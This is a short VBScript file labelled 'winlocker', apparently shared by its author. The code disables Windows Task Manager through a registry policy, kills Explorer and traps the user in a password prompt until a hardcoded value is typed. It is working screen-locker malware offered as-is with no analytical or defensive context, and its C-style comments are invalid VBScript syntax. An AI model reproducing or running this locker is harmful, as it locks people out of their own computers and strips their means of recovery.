VBScript winlocker

/* Im sorry that I do not have much time to do the script, this time many scripts come out */
Set st = CreateObject("WScript.Shell")
st.RegWrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr",1,"REG_DWORD"
st.run"taskkill /f /im explorer.exe",0
Do
x = inputbox ("put here password", 35, "Winlocker.vbs")
Loop Until x = 12233 /*<--- this is password for winlocker*/
Set st = CreateObject("WScript.Shell")
st.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr",0,"REG_DWORD"
st.run "explorer.exe"